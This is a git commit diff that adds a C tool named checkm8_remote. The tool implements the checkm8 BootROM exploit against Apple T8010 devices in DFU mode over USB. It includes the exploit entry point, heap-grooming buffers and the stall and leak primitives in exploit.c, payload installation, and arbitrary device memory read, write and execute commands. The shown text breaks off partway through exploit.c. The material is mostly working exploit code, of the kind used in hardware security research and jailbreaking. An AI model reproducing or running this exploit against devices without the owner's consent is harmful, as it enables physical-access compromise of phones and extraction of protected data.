Project restructuring
This commit is contained in:
14
c8_remote/CMakeLists.txt
Normal file
14
c8_remote/CMakeLists.txt
Normal file
@@ -0,0 +1,14 @@
|
||||
project(checkm8_remote C)
|
||||
|
||||
set(CMAKE_C_STANDARD 99)
|
||||
set(CMAKE_C_FLAGS "-g -Wall")
|
||||
|
||||
include_directories(include)
|
||||
add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload.c src/command.c)
|
||||
add_custom_command(TARGET checkm8_remote POST_BUILD
|
||||
COMMAND ln
|
||||
ARGS -s -f -n
|
||||
${CMAKE_SOURCE_DIR}/checkm8_payloads/bin
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/bin/payloads)
|
||||
|
||||
target_link_libraries(checkm8_remote checkm8_libusb pthread udev)
|
||||
BIN
c8_remote/bin/overwrite.bin
Normal file
BIN
c8_remote/bin/overwrite.bin
Normal file
Binary file not shown.
BIN
c8_remote/bin/payload.bin
Normal file
BIN
c8_remote/bin/payload.bin
Normal file
Binary file not shown.
50
c8_remote/include/checkm8.h
Normal file
50
c8_remote/include/checkm8.h
Normal file
@@ -0,0 +1,50 @@
|
||||
#ifndef CHECKM8_TOOL_CHECKM8_H
|
||||
#define CHECKM8_TOOL_CHECKM8_H
|
||||
|
||||
#include "checkm8_config.h"
|
||||
|
||||
#define CHECKM8_SUCCESS 0
|
||||
#define CHECKM8_FAIL_INVARGS -1
|
||||
#define CHECKM8_FAIL_NODEV -2
|
||||
#define CHECKM8_FAIL_NOEXP -3
|
||||
#define CHECKM8_FAIL_NOTDONE -4
|
||||
#define CHECKM8_FAIL_XFER -5
|
||||
#define CHECKM8_FAIL_NOINST -6
|
||||
#define CHECKM8_FAIL_PROT -7
|
||||
|
||||
#define IS_CHECKM8_FAIL(code) code < 0
|
||||
|
||||
#if CHECKM8_PLATFORM == 8010
|
||||
|
||||
#define DEV_IDVENDOR 0x05AC
|
||||
#define DEV_IDPRODUCT 0x1227
|
||||
#define DFU_IMAGE_BASE 0x1800B0000
|
||||
|
||||
#else
|
||||
#error "Unspported checkm8 platform"
|
||||
#endif
|
||||
|
||||
struct pwned_device
|
||||
{
|
||||
enum
|
||||
{
|
||||
DEV_NORMAL,
|
||||
DEV_PWNED
|
||||
} status;
|
||||
|
||||
unsigned int idVendor;
|
||||
unsigned int idProduct;
|
||||
|
||||
struct payload *installed;
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
int ard_fd;
|
||||
#else
|
||||
struct libusb_device_bundle *bundle;
|
||||
#endif
|
||||
};
|
||||
|
||||
struct pwned_device *exploit_device();
|
||||
void free_device(struct pwned_device *dev);
|
||||
|
||||
#endif //CHECKM8_TOOL_CHECKM8_H
|
||||
25
c8_remote/include/command.h
Normal file
25
c8_remote/include/command.h
Normal file
@@ -0,0 +1,25 @@
|
||||
#ifndef CHECKM8_TOOL_COMMAND_H
|
||||
#define CHECKM8_TOOL_COMMAND_H
|
||||
|
||||
#include "checkm8.h"
|
||||
|
||||
#define CMD_USB_READ_LIMIT 0xFF0
|
||||
|
||||
struct dev_cmd_resp
|
||||
{
|
||||
int ret;
|
||||
unsigned long long magic;
|
||||
unsigned char *data;
|
||||
int len;
|
||||
};
|
||||
|
||||
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len);
|
||||
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len);
|
||||
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
|
||||
|
||||
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len);
|
||||
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len);
|
||||
|
||||
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
|
||||
|
||||
#endif //CHECKM8_TOOL_COMMAND_H
|
||||
32
c8_remote/include/payload.h
Normal file
32
c8_remote/include/payload.h
Normal file
@@ -0,0 +1,32 @@
|
||||
#ifndef CHECKM8_TOOL_PAYLOAD_H
|
||||
#define CHECKM8_TOOL_PAYLOAD_H
|
||||
|
||||
#include "checkm8.h"
|
||||
|
||||
#define PAYLOAD_AES_BIN CHECKM8_BIN_BASE "payloads/payload_aes.bin"
|
||||
#define PAYLOAD_SYSREG_BIN CHECKM8_BIN_BASE "payloads/payload_sysreg.bin"
|
||||
#define PAYLOAD_SYNC_BIN CHECKM8_BIN_BASE "payloads/payload_sync.bin"
|
||||
|
||||
typedef enum
|
||||
{
|
||||
PAYLOAD_SYNC,
|
||||
PAYLOAD_AES,
|
||||
PAYLOAD_SYSREG
|
||||
} PAYLOAD_T;
|
||||
|
||||
typedef enum
|
||||
{
|
||||
SRAM,
|
||||
DRAM
|
||||
} LOCATION_T;
|
||||
|
||||
#define RESP_VALUE(buf, type, i) ((type *) buf)[i]
|
||||
|
||||
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
|
||||
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
|
||||
|
||||
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int nargs, ...);
|
||||
struct dev_cmd_resp *read_payload(struct pwned_device *dev, long long addr, int len);
|
||||
struct dev_cmd_resp *write_payload(struct pwned_device *dev, long long addr, unsigned char *data, int len);
|
||||
|
||||
#endif //CHECKM8_TOOL_PAYLOAD_H
|
||||
51
c8_remote/include/usb_helpers.h
Normal file
51
c8_remote/include/usb_helpers.h
Normal file
@@ -0,0 +1,51 @@
|
||||
#ifndef CHECKM8_TOOL_LIBUSB_HELPERS_H
|
||||
#define CHECKM8_TOOL_LIBUSB_HELPERS_H
|
||||
|
||||
#include "checkm8.h"
|
||||
|
||||
#define MAX_PACKET_SIZE 0x800
|
||||
|
||||
#ifndef WITH_ARDUINO
|
||||
#include "libusb.h"
|
||||
|
||||
struct libusb_device_bundle
|
||||
{
|
||||
struct libusb_context *ctx;
|
||||
struct libusb_device *device;
|
||||
struct libusb_device_handle *handle;
|
||||
struct libusb_device_descriptor *descriptor;
|
||||
};
|
||||
#endif
|
||||
|
||||
int open_device_session(struct pwned_device *dev);
|
||||
int close_device_session(struct pwned_device *dev);
|
||||
int is_device_session_open(struct pwned_device *dev);
|
||||
|
||||
int partial_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout);
|
||||
|
||||
int no_error_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout);
|
||||
|
||||
int no_error_ctrl_transfer_data(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout);
|
||||
|
||||
int ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout);
|
||||
|
||||
int reset(struct pwned_device *dev);
|
||||
int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int len);
|
||||
|
||||
#endif //CHECKM8_TOOL_LIBUSB_HELPERS_H
|
||||
103
c8_remote/main.c
Normal file
103
c8_remote/main.c
Normal file
@@ -0,0 +1,103 @@
|
||||
#include "checkm8.h"
|
||||
#include "payload.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
#include <execinfo.h>
|
||||
#include <usb_helpers.h>
|
||||
#include "command.h"
|
||||
|
||||
void checkm8_debug_indent(const char *format, ...)
|
||||
{
|
||||
#ifdef CHECKM8_LOGGING
|
||||
void *traces[100];
|
||||
int depth = backtrace(traces, 100) - 5;
|
||||
for(int i = 0; i < depth; i++)
|
||||
{
|
||||
printf("\t");
|
||||
}
|
||||
va_list args;
|
||||
|
||||
va_start (args, format);
|
||||
vprintf(format, args);
|
||||
va_end(args);
|
||||
#endif
|
||||
}
|
||||
|
||||
void checkm8_debug_block(const char *format, ...)
|
||||
{
|
||||
#ifdef CHECKM8_LOGGING
|
||||
va_list args;
|
||||
|
||||
va_start (args, format);
|
||||
vprintf(format, args);
|
||||
va_end(args);
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
int ret;
|
||||
struct pwned_device *dev = exploit_device();
|
||||
if(dev == NULL || dev->status == DEV_NORMAL)
|
||||
{
|
||||
printf("Failed to exploit device\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *resp;
|
||||
ret = install_payload(dev, PAYLOAD_SYNC, DRAM);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
printf("Failed to install sync payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
ret = install_payload(dev, PAYLOAD_AES, DRAM);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
printf("Failed to install AES payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("Failed to execute sync payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
|
||||
0xef};
|
||||
unsigned char key[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
|
||||
0xef};
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = write_payload(dev, 0x180152000, data, 16);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("Failed to write AES data\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = write_payload(dev, 0x180152010, key, 16);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("Failed to write AES key\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// free_dev_cmd_resp(resp);
|
||||
// resp = execute_payload(dev, PAYLOAD_AES, 7, 16, 0x180152000, DFU_IMAGE_BASE + 56, 128, 0, 0x180152010, 0);
|
||||
//
|
||||
// if(IS_CHECKM8_FAIL(resp->ret))
|
||||
// {
|
||||
// printf("Failed to execute AES\n");
|
||||
// return -1;
|
||||
// }
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
free_device(dev);
|
||||
}
|
||||
255
c8_remote/src/command.c
Normal file
255
c8_remote/src/command.c
Normal file
@@ -0,0 +1,255 @@
|
||||
#include "command.h"
|
||||
|
||||
#include "checkm8.h"
|
||||
#include "usb_helpers.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
void free_dev_cmd_resp(struct dev_cmd_resp *resp)
|
||||
{
|
||||
if(resp->data != NULL) free(resp->data);
|
||||
free(resp);
|
||||
}
|
||||
|
||||
int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len)
|
||||
{
|
||||
checkm8_debug_indent("dfu_send_data(dev = %p, data = %p, data_len = %li)\n", dev, data, data_len);
|
||||
long long index = 0, amount;
|
||||
int ret;
|
||||
|
||||
while(index < data_len)
|
||||
{
|
||||
if(data_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
|
||||
else amount = data_len - index;
|
||||
|
||||
checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index);
|
||||
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 5000);
|
||||
if(ret > 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\trequest failed with error code %i\n", ret);
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
index += amount;
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
static unsigned char nullbuf[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
|
||||
|
||||
struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
unsigned char *args, int arg_len, int response_len)
|
||||
{
|
||||
checkm8_debug_indent("command(dev = %p, args = %p, arg_len = %i, response_len = %i)\n",
|
||||
dev, args, arg_len, response_len);
|
||||
|
||||
struct dev_cmd_resp *cmd_resp = calloc(1, sizeof(struct dev_cmd_resp));
|
||||
unsigned char resp_buf[response_len];
|
||||
|
||||
if(!is_device_session_open(dev))
|
||||
{
|
||||
cmd_resp->ret = CHECKM8_FAIL_NODEV;
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
int ret;
|
||||
ret = dfu_send_data(dev, nullbuf, 16);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
cmd_resp->ret = ret;
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 100);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\trequest failed with error code %i\n", ret);
|
||||
cmd_resp->ret = ret;
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\trequest failed with error code %i\n", ret);
|
||||
cmd_resp->ret = ret;
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\trequest failed with error code %i\n", ret);
|
||||
cmd_resp->ret = ret;
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = dfu_send_data(dev, args, arg_len);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
cmd_resp->ret = ret;
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
if(response_len == 0)
|
||||
{
|
||||
ret = ctrl_transfer(dev,
|
||||
0xA1, 2, 0xFFFF, 0,
|
||||
resp_buf, response_len + 1,
|
||||
100);
|
||||
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tfinal request failed with error code %i\n", ret);
|
||||
cmd_resp->ret = ret;
|
||||
return cmd_resp;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
ret = ctrl_transfer(dev,
|
||||
0xA1, 2, 0xFFFF, 0,
|
||||
resp_buf, response_len,
|
||||
100);
|
||||
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tfinal request failed with error code %i\n", ret);
|
||||
cmd_resp->ret = ret;
|
||||
return cmd_resp;
|
||||
}
|
||||
}
|
||||
|
||||
cmd_resp->ret = CHECKM8_SUCCESS;
|
||||
memcpy(&cmd_resp->magic, resp_buf, 8);
|
||||
if(response_len - 8 > 0)
|
||||
{
|
||||
checkm8_debug_indent("\tcopying %i bytes of output to response data section\n", response_len - 8);
|
||||
cmd_resp->data = calloc(1, response_len - 8);
|
||||
memcpy(cmd_resp->data, &resp_buf[8], response_len - 8);
|
||||
}
|
||||
|
||||
cmd_resp->len = response_len - 8;
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
#define EXEC_MAGIC 0x6578656365786563ul // 'execexec'[::-1]
|
||||
#define MEMC_MAGIC 0x6d656d636d656d63ul // 'memcmemc'[::-1]
|
||||
#define MEMS_MAGIC 0x6d656d736d656d73ul // 'memsmems'[::-1]
|
||||
#define DONE_MAGIC 0x646f6e65646f6e65ul // 'donedone'[::-1]
|
||||
|
||||
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_memset(dev = %p, addr = %lx, c = %x, len = %li)\n", dev, addr, c, len);
|
||||
unsigned long long cmd_args[5];
|
||||
cmd_args[0] = MEMS_MAGIC;
|
||||
cmd_args[1] = 0;
|
||||
cmd_args[2] = addr;
|
||||
cmd_args[3] = (unsigned long long) c;
|
||||
cmd_args[4] = len;
|
||||
|
||||
return command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 1 * sizeof(unsigned long long));
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_memset(dev = %p, dest = %lx, src = %lx, len = %li)\n", dev, dest, src, len);
|
||||
unsigned long long cmd_args[5];
|
||||
cmd_args[0] = MEMC_MAGIC;
|
||||
cmd_args[1] = 0;
|
||||
cmd_args[2] = dest;
|
||||
cmd_args[3] = src;
|
||||
cmd_args[4] = len;
|
||||
|
||||
return command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 1 * sizeof(unsigned long long));
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args)
|
||||
{
|
||||
checkm8_debug_indent("dev_exec(dev = %p, response_len = %lu, nargs = %i, args = %p\n", dev, response_len, nargs,
|
||||
args);
|
||||
|
||||
int i;
|
||||
unsigned long long *argbase;
|
||||
unsigned long long cmd_args[1 + nargs];
|
||||
checkm8_debug_indent("\tcopying args\n");
|
||||
|
||||
cmd_args[0] = EXEC_MAGIC;
|
||||
cmd_args[1] = 0;
|
||||
argbase = (unsigned long long *) ((unsigned char *) &cmd_args[1] + 0);
|
||||
for(i = 0; i < nargs; i++)
|
||||
{
|
||||
argbase[i] = args[i];
|
||||
checkm8_debug_indent("\t\t0x%lx (0d%li) (%s)\n", args[i], args[i], (char *) &args[i]);
|
||||
}
|
||||
|
||||
return command(dev, (unsigned char *) cmd_args, (1 + nargs) * sizeof(unsigned long long), 16 + response_len);
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_read_memory(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
|
||||
long long index = 0, amount;
|
||||
|
||||
unsigned long long cmd_args[5];
|
||||
struct dev_cmd_resp *resp, *ret = calloc(1, sizeof(struct dev_cmd_resp));
|
||||
ret->data = calloc(1, len);
|
||||
|
||||
while(index < len)
|
||||
{
|
||||
if(len - index >= CMD_USB_READ_LIMIT - 16) amount = CMD_USB_READ_LIMIT - 16;
|
||||
else amount = len - index;
|
||||
|
||||
checkm8_debug_indent("\treading chunk of size %li at index %li\n", amount, index);
|
||||
cmd_args[0] = MEMC_MAGIC;
|
||||
cmd_args[1] = 0;
|
||||
cmd_args[2] = DFU_IMAGE_BASE + 16;
|
||||
cmd_args[3] = addr + index;
|
||||
cmd_args[4] = amount;
|
||||
|
||||
resp = command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 16 + amount);
|
||||
ret->ret = resp->ret;
|
||||
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
checkm8_debug_indent("\tlast transfer failed, aborting\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
free(ret->data);
|
||||
ret->data = NULL;
|
||||
return ret;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tsuccessfully copied chunk\n");
|
||||
memcpy(&ret->data[index], &resp->data[8], amount);
|
||||
free_dev_cmd_resp(resp);
|
||||
}
|
||||
|
||||
index += amount;
|
||||
}
|
||||
|
||||
ret->magic = DONE_MAGIC;
|
||||
ret->len = len;
|
||||
return ret;
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_write_memory(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
|
||||
|
||||
unsigned char cmd_args[40 + len];
|
||||
((unsigned long *) cmd_args)[0] = MEMC_MAGIC;
|
||||
((unsigned long *) cmd_args)[1] = 0;
|
||||
((unsigned long *) cmd_args)[2] = addr;
|
||||
((unsigned long *) cmd_args)[3] = DFU_IMAGE_BASE + 40;
|
||||
((unsigned long *) cmd_args)[4] = len;
|
||||
memcpy(&cmd_args[40], data, len);
|
||||
|
||||
return command(dev, (unsigned char *) &cmd_args, 40 + len, 1 * sizeof(unsigned long long));
|
||||
}
|
||||
300
c8_remote/src/exploit.c
Normal file
300
c8_remote/src/exploit.c
Normal file
@@ -0,0 +1,300 @@
|
||||
#include "checkm8.h"
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "usb_helpers.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static unsigned char data_0xA_0xC0_buf[192] =
|
||||
{
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA
|
||||
};
|
||||
|
||||
static unsigned char data_0xA_0xC1_buf[193] =
|
||||
{
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
0xA
|
||||
};
|
||||
|
||||
static unsigned char data_0x0_0x40_buf[64] =
|
||||
{
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
|
||||
};
|
||||
|
||||
static unsigned char data_0x0_0x41_buf[65] =
|
||||
{
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0
|
||||
};
|
||||
|
||||
static unsigned char data_0x0_0xC0_buf[192] =
|
||||
{
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
|
||||
};
|
||||
|
||||
int stall(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("stall(dev = %p)\n", dev);
|
||||
return partial_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC0_buf, 0xC0, 1);
|
||||
}
|
||||
|
||||
int leak(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("leak(dev = %p)\n", dev);
|
||||
